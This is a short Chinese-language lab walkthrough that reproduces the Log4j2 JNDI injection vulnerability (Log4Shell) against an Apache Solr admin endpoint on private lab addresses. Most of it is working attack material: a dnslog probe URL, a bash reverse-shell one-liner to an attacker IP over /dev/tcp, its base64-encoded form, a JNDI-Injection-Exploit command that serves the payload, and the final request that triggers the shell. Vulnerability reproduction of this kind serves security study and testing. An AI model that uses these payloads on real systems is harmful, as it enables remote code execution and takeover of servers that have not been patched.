一、漏洞特征
Apache Log4j 是 Apache 的一个开源项目,Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。该日志框架被大量用于业务系统开发,用来记录日志信息。
影响版本:Apache Log4j 2.x <= 2.14.1
访问http://192.168.232.131:8983/即可查看到Apache Solr的后台页面
访问
http://192.168.232.131:8983/solr/admin/cores?action=${jndi:ldap://ugvqt3.dnslog.cn}
dnslog可以收到相关日志
二、漏洞复现
1.准备payload
bash -i >& /dev/tcp/192.168.245.2/6969 0>&1
192.168.245.2是攻击机ip
base加密:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0NS4yLzY5NjkgMD4mMQ==
2.开启监听
3.获取jndi payload
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c " {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0NS4yLzY5NjkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.245.2
这里echo后面就是你加密之后的值,最后面的IP还是攻击机的IP,回车启动
启动后提取第一个payload:rmi://192.168.245.2:1099/sfvz6q
4.反弹shell
http://192.168.232.131:8983/solr/admin/cores?action=${jndi:rmi://192.168.245.2:1099/sfvz6q}